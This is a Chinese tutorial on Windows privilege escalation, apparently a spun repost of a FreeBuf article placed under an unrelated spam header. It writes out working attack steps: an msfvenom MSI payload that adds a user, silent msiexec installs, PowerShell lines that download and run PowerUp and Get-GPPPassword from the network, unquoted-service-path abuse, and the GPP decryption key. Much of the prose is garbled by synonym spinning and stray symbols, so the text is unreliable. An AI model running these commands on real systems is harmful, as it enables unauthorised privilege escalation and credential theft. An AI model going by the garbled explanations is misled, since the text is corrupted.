数据加密|图纸加密|信息加密|文档加密-Wonder Tech-im电竞体育

 

一、本身安全常识

 

在windows中，权限大要分为四种，别离是User、Administrator、System、TrustedInstallerTrus

 

1.user：浅显用户权限，是体系中最宁静的权限（由于ไ分派给改选的默许权限不许可成员操纵点窜操纵体系的设置或用户材料）

 

2.Administrator：办理员权限。能够或许操纵windows的机制将自身晋升为system权限，以便操纵SAm文件

 

3.System：体系权限。能够或许对sam等敏感文件停止读取，常常须要将administrator权限晋升到🐼system权限能力够或许对散列值停止DUmp操纵

 

4.TrustedInstaller：window中的最高权限，对体系文件，行将具备sy▨stem权限也没ও法停止取得散列值、装置软件、点窜防火墙法则、点窜注册表等

 

纵向提权：低权限脚色取得高权限脚色的权限，比方，一个webs✨hell权限经由进程提权，具备了办理员权限，这类提权便是纵向提权。

 

横向提权：取得同级别脚色的权限。

 

二、体系内核溢出缝隙提权阐发及提防

  冒泡漏粪像是往水杯内面装水— 如果水多，水杯装下不去了，会冒泡来。   标准体制内核冒泡溢出漏洞提权就是种代用的提权体例，进犯者但凡并能其实支配该体例破解标准体制的所有自然限定版。进犯者支配该漏洞的关头是方针政策标准体制没了实时监控升级补丁。  

1. 经由进程手动履行号令发明缺失补丁

  1.whoami/groups      

2.查抄方针机械的补丁 systeminfo

     

3.操纵wmic 号令：wmic qfe get Caption,Description ,HotFixID,InstalledOn

     

测验考试1：

 

2 .操纵Metasploit发明缺失补丁

         

3. windows exploit suggseter

 

够如果你将已试验装置的贴片和微软中国的漏粪统计资料库消停相比 同时要能或者赞助商鉴别出能因受管理权限竞升的开缝

  保存路线:   http://github.com/AonCyberLabs/Windows-Exploit-Suggester               取到session必做的2件事,够我以为飞速辨明管理体制够我以为支配的间隙，不是而是提权～  

use post/windows/gather/enum_patches

use post/multi/recon/local_exploit_suggester

 

4 PowerShell 的sherlock剧本

         

三、windows 操纵体系设置装备摆设毛病操纵阐发及标准

  传播媒介：在windows操作组织体制中，进犯者任何时候会所经系统进程组织体制内核冒泡数组越界接缝来提权，但若是碰着无发过关组织体制冒泡数组越界接缝截取区域做事器限权的生活环境，就要操作组织体制中的安装准备摆饰通病来提权。  

申请员不同使用史诗装备虚设老毛病 找人办事设置成法宝摆床出毛病 居心减低的恬静小妙招 用户账户权限控制太高

 

体系办事权限设置装备摆设毛病

  windows管理指标装修标准做事档案在操控管理指标装修标准打火时读取实行，并在后台侵占资金可实行档案。如果有一个低授权设置的客户就此事类管理指标装修标准做事侵占资金的可实行档案有写授权设置，那麼就还可以说不定充当该档案，并跟随着管理指标装修标准打火有控制授权设置。   windows处事故而system应用权限日常运转的，其文档文件目录夹、文档文件目录和注册帐号表key-value全都是受强制拜候控制挡拆的。然而在其他环保下，操作装修标准中从未具备一点不拥有更好挡拆的处事   体系中办事效率权限软件设置软件设置武器陈设小毛病（可写目次漏洞）如同下这两种并能而你。  

1.业务办理未日常运转：进犯者会使用肆意妄为业务办理来替换仅有的业务办理，其后关机重启业务办理。 2.找人找人办事已经在行驶且不了了被止住：这种环保为宜绝大部分大多数的裂缝控制情况，进犯者只要会控制DLL挟制手艺活并测验题考试考试关机重启找人找人办事来提权。

 

1.PowerUP下的实战操纵

  免费下载场所：   http://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1      

	

		 

powers🐷hell.exe -exec bypass -Command "& {import-Module .\Powerup.ps1; Invoke-AllChecks}"

     

	

		 

Powershell.exe -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"

         

2.Metasploit下的实战操纵

         

2 注册表键 ALwaysINstallElevated

  允许低授权移动微信用户以System授权系统程序。如若任用此战略布局如何设置项，这麼一切授权的移动微信用户都以NT Authority\System授权来系统歹意的MSI程序。   windows install是windows支配体制的配置档案夹其中之一，特别用以处理手续如何设置武器装备摆货小免费软件找人办事。它除是一个个试验保护系统设计法式风格，还在处理手续小免费软件的试验保护系统设计、配置档案夹的不断增加、卸载、监管档案夹的恢复、它是经过了程序回滚进行灾难规复。windows install它是经过了程序msiexec.exe试验保护系统设计MSI档案夹，双击MSI档案夹马上会机器运行msiexec.exe。  

在运转中输出gpedit.msc，而后以办理员体例翻开：

 

装置武器摆床「斤斤计较机装置武器摆床」 设有准备布置「粉丝设有准备布置」

  WIndows INstaller的相干常识课点           经过tcp连接号令查问并没有是进入  

	

		 

reꦡg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

 

	

		 

reg query HKLM\SOFTWARE\𒅌Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

  打开赶往：  

	

		 

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer

 

	

		 

AlwaysInstallElevated REG_DWORD 0x1

 

	

		 

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer

 

	

		 

AlwaysInstallElevated REG_DWORD 0x1

 

未开启就会前往体系找不到指定的注册表项或值

 

若是体系开启了AlwaysInstallElevated，能够或许操纵msfvenom建立歹意msi文件，而后操纵msiexec停止开仗

 

	

		 

ms🐼fvenom -f msi -p w🍸indows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi

 

	

		 

msiexec /quiet /qn /i d:\msi.msi

 

	

		 

# /quiet 控制系统的进程中禁止向用户账户上传响动

 

	

		 

# /qn 不调控GUI

 

	

		 

# /i 保护装置英式

 

或间接操纵exploit/windows/local/always_install_elevated模块提至System权限

     

打算使命

  共用装修标准新版本：  

windows2000 windows2003 windows XP

  at 不是个敲定及时目标想要的号令行食物，汉语语法呼告简练。经过阶段at号令敲定的及时目标想要，Windows默认以System授权管理正常的工作。及时目标可或者是是批代理，也可或者是不是个二进制文书   语法知识：  

at 11:00PM calc.exe，/interactive能够或许开启界面交互形式

 

操纵Regsvr32+exploit/multi/script/web_delivery模块

     

3.PowrUp下的实战操纵

  1.powershell -nop -exec bypass IEX(New-Object  

	

		 

Net.WebClient).DownloadString('C:\Users\testuser\Desktop\Sherlock-master\PowerUp.ps1');Get-RegistryAlwaysInstallElevated

 

	

		 
	

		 

Get-RegistryAlwaysInstallElevatedWrite-UserAddMSI

     

	

		 

msiexec.exe /q /i UserAdd.msi

     

四、 可托任办事途径缝隙

  操控了windows系统材料名称方式查摆的特点，若果1个办事人私吞的可进行系统材料名称不合理处治所援用的完全方式名，这位破损的缝隙就被进犯者常做上传下载随意可进行系统材料名称。   浅显的说，如果1个处事效率的可进行材料的路经（带下划线）不被双引号激发来，这么这是处事效率就是接缝。  

一个例子，编译以后寄存在为C:\Program Files\Test\test.exe

 

	

		 
	

		 
	

		 
	

		 
	

		 

#include <stdio.h>int main(int argc, char *argv[]){printf("[*] Executed %s\n", argv[0]);}

  从号令行间接性沿途守护进程其完全前提条件履行职责该英式：  

	

		 
	

		 
	

		 
	

		 
	

		 
	

		 
	

		 
	

		 

$ "C:\Program Files\Test\test.exe"[*] Executed C:\Program Files\Test\test.exe$ C:\Program Files\Test\test.exe'C:\Program' 就不是内控或内控号令，也就不是可转运的西式或批救治zip文件。#将test改成Program.exe以后并放入C盘下 $ C:\Program Files\Test\test.exe[*] Executed C:\Program

  对上的分隔符，Windows市区测验题考试的追寻着并遵守取名与分隔符前的取名相相配的西式风格，已是没有引号的时晨表就可以报错。这时，假如能上传照片一位合理定名的开后门西式风格，爱的那么深当业务办理强制关机的时晨表就可以以system权限控制运行的（大基本场景下）   所以，具体上另一个找人办事的可履行系统文件的渠道不使用双引号封禁，且包罗单引号，那么更是出现裂缝的  

检测是不是存在缝隙

 

	

		 

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v ﷽"""

 

查抄对有缝隙的目次是不是具备写入权限

 

	

		 

icacls "C:\Program Files"

 

操纵trusted_service_path模块

 

Trusted Service Paths缝隙发生的缘由

  windows处事凡事都从而System应用管理管理权限高速运转的，言于保障模式在对照检查处事的二进制相关文本表示的相关文本前提条件中的单引号的时辰表也会以保障模式应用管理管理权限关闭程序对照检查。若果咱门能支配此种有特点，就有着机遇与挑战关闭程序应用管理管理权限升职。   钢巴：   C:\Program Files\Some Folder\Service.exe   C:\Program.exe   C:\Program Files\Some.exe   C:\Program Files\Some Folder\Service.exe   言于若果大家可能或是传上去一款 恰到好处定名的歹意可遵守法式风格风格在受损害的目次，处事己经重启动，大家的歹意法式风格风格还会以system应用权限高速运行(大大都会生态下)。  

1.Metasploit下的实战操纵

  1.先验测路线电脑主机是没有是有着该接缝。预期上讲，假如某个业务的可认真履行文件目录的途经都要双引号封禁，还包罗分隔符，爱的那么深这些业务便会有接缝的。我们一起在meterpreter shell号令提示信息符下伤害shell号令进路线机cmd下，其后调控下面的wmi查问号令来搜集得益者厂家一切的不放引号的业务途经(撤除了windows自己本身的业务)。  

	

		 

wmic service get name,displayname,pathname,startmode | findstr /i "Au🎃to" | findstr /i /v "C:\Windows\\" | findstr /i /v """

  要可能看见，有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”以下处事应对的二进制文档相关文件目录经由不引号包罗开来，另外经由中包罗分隔符。是会出现该接缝处的，但在导出可执行文档相关文件目录出来了以后，咋们需用应该咋们其他人针文档相关文件目录夹是不会是有刻录的管理权限。  

2.查抄对有缝隙目次是不是有写入的权限，这个很关头。这里咱们操纵Windows内建的一个东西，icacls，上面咱们用这个东西顺次来查抄

  “C:\Program Files”   “C:\Program Files\Common Files”   “C:\Program Files\Common Files\microsoft shared”       “Everyone”微信手机用户对这家材料有全面规范权，那便是说一切都是微信手机用户都具备条件全数权限设置设置点窜这家材料夹。参数表表明：“M”成绩点窜，“F”表达会全面规范，“CI”表达会下辖场所将讲奉献拜候规范项，“OI”表达会下辖材料将讲奉献拜候规范项。这代表着对该目次有读，写，去除其下的材料，去除该目次下的子目次的权限设置设置。  

3.咱们确认了方针主机存在此缝隙后，将便起头正式进犯，Metasploit中绝对应的是Windows Service Trusted Path Privilege Escalation本地操纵模块，该模块会将歹意的可履行法式放到受影响的文件夹中去♈，而后将受影响的办事重启。接着咱们输出号令background꧂,把以后的meterpreter shell转为背景履行。而后在Metasploit中搜刮trusted_service_path模块

     

4 主动装置设置装备摆设文件

  自身处理员少部分网中给两台机械化如何使用的设备虚设同样一些环境时，往往是不会逐台如何使用的设备虚设，而会使用该剧化批量化具体安排的体例。在这线程池中，会使用法宝如何使用的设备虚设本质。   C:\sysprep.ing   C:sysC:sysprp.xml   C:\windows\system32\sysrep.inf       也能其实在metasploit中控制这里接缝：      

5. 打算使命

  AccessChk中用在windows中中断有一些高等学校查问、办理好和不足缓解重任。鉴于它是微软公司公司市场均衡的产品，所以木马查杀手机app不会出告警。倘若入侵网站对以高应用授权运行的重任，路线的目次满足写应用授权，那麼就可以而你使用歹意欧式笼盖以前的欧式。如此，在开始打算重任晚些落实的时候，就以高应用授权运行歹意欧式。   经过前进行程AccessChk查抄任意目次的限权设有极品装备摆货生态环境：  

	

		 

accesschk64.exe -dqv &✨quot;C:\Microsoft" -accepte๊ula-

 

6 Empire 内置模块

  Empire内部自带了PowerUp的整体板块。输入”usermodule prives/powerup”  

五、 组战略首选项提权阐发及提防

  sysvol是勾当目次且外边的有一个在存储空间域大家文档资料格式办事效率器主本的共享文档资料格式夹，在域中的凡事域控制器中进行复制粘贴。sysvol文档资料格式夹是在部件勾当目次时自主形成的，第一步代替寄存登岸英文剧本、组企业战略数据报告、其中域控制器需耍的域个人信息。   sysvol在任何事物颠末角色资格证书的域我们、域诚恳我们要具备读管理员权限的勾当目次的域整体规模内共享，基本sysvol目次在任何事物的域控制器中是自主关联和共享的，任何事物的域市场策略都寄存在sysvol下。为快捷对任何事物设备制造关闭操作，自身发放员会操作域市场策略关闭同的设制防具摆饰和发放，这麼任何事物设备制造的地方发放员暗码大便有相似的，黑客入侵大便有操作这半点。      

1.罕见的组战略首选项：

 

倒映驱程器 建设本地化朋友 数据表格源 打印纸机软件设置装置摆放 设立/创新做事 计划国家使命

 

2 组战略首选项提取阐发

  1.组建组策略，批处理点窜域中自动化设备的本地服务办员暗码       进入到「斤斤计较机放置传奇装备摆才」下的「首选择项」，就就能够虽然自动更新一款 手机用户啦。       较真机设制装置摆床中的账户里战略规划，也可是设制暗码的繁杂度、段长度、流行起来情况下等～      

3.取得组战略的根据

 

1.手动查找

 

阅读SysVQL文件夹，取得相干文件

      怎样才能够如果你支配type号令掠夺。  

2.操纵powershell取得cpassword

 

下载地点：

  http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1   调控阶段：   1.起首翻看Windows金融资本办理流程器，并收刮注册域名为SYSVOL DFS协手的XML文档文件夹。在大居多室内环境下，有以下XML文档文件夹将包罗按照其：groups.xml，scheduledtasks.xml和＆Services.xml，Printers.xml ，Drives.xml.   SYSVOL就是切颠末身分职业证书的用户组享有读拜候授权管理的Active Directory中的域投资额共享   SYSVOL就是储存方式域大众的材料夹办事人器原本的共享材料夹夹，两者在域中所有一起的域吃妻上瘾器两者之间黏贴。Sysvol材料夹夹是系统设计AD时搭建的，它代替寄存GPO、Script等图片信息内容。与此同时，寄存在Sysvol材料夹夹中的图片信息内容，会黏贴到域中所有一起DC上。   SYSVOL包罗登录入口情景剧，组发展计划大数据文件和要用在丝毫有域放肆器的丝毫出所快速可用的任意域数量大数据文件（基于SYSVOL在所有的域放肆器彼此及时数据同步并共享）。  

一切域组战略都存储在这里：\\ SYSVOL \\ Policies \

  注重质量：C:\Windows\SYSVOL目次下，只要是搭建组方法舞台剧剧本模板访问程度有方法舞台剧剧本模板装置的装备摆饰文档groups.xml,同意都是不的   当形成新的GPP时，在SYSVOL中形成了一大个与相干制定辅助装备摆好数据库相干联的XMLzip文件，如果是提供了暗码，这多AES-256位密码保护时应适足强的。   采用文件加密任意域中的一切的组方式首选择暗码的32字节AES产品密钥：   4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8   f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b       号令：  

1.powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
sword.ps1’);Get-GPPPassword”

2.powershell  import-modulo  .\Get-GPPpassword.ps1;Get-GppPassword

 

3.操纵Metasploit取得cpassword

     

4.操纵Empire查找cpassword

  号令：usemodule privesc/gpp  

测验考试:gpp组战略搭建

  让咱门看其中一个例，表明经途阶段组战术界说网上客户访问。它从确立和排版组战术知识起头：       在域设计构造中的组战略布局规划方面中国铁建立其中一个注册登录游戏账号短剧本战略布局规划：微章为：   gpp_local_login:           选购改建的组战略重点gpp_local_login随后文字编辑：           我们账户名快速设制极品装备陈列—-有节制开关按钮快速设制—-地方我们账户名和组—扩建-地方我们账户名中增高一名舞台剧剧本注册登录。           能或是发现域合理器行加入了网上组战略规划的文件格式：       所经任务管理器搜集共享要或拜候到GPP的组战略重点的文档文件：  

\bk.com\SYSVOL\bk.com\Policies{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml

      摊开是可以只不过了解到存贮的cpasword暗码：      

六、 针对组战略首选项提取的进攻办法

  1.使用共亨文件夹SYSVOL的拜候授权   2.将包罗组企业战略暗码的XMl程序从SYSVOl目次中去除   3.不会把暗码放置所有一切域顾客都有权利拜候的程序中   4.如果是许要波动域中机械制造的本地服务发放员暗码，倡议书范文使用LAPs  

总结：

  这篇文关键性从内网授权管理进级动身，关键性先容一下低授权管理普通用户若何所经发展一下事物和剧居然拿到一下高授权管理。中先容了一大下剧本模板和事物的控制，还做后3个考查参加考试来不懂此类事物。

 本文转自pony686/FreeBuf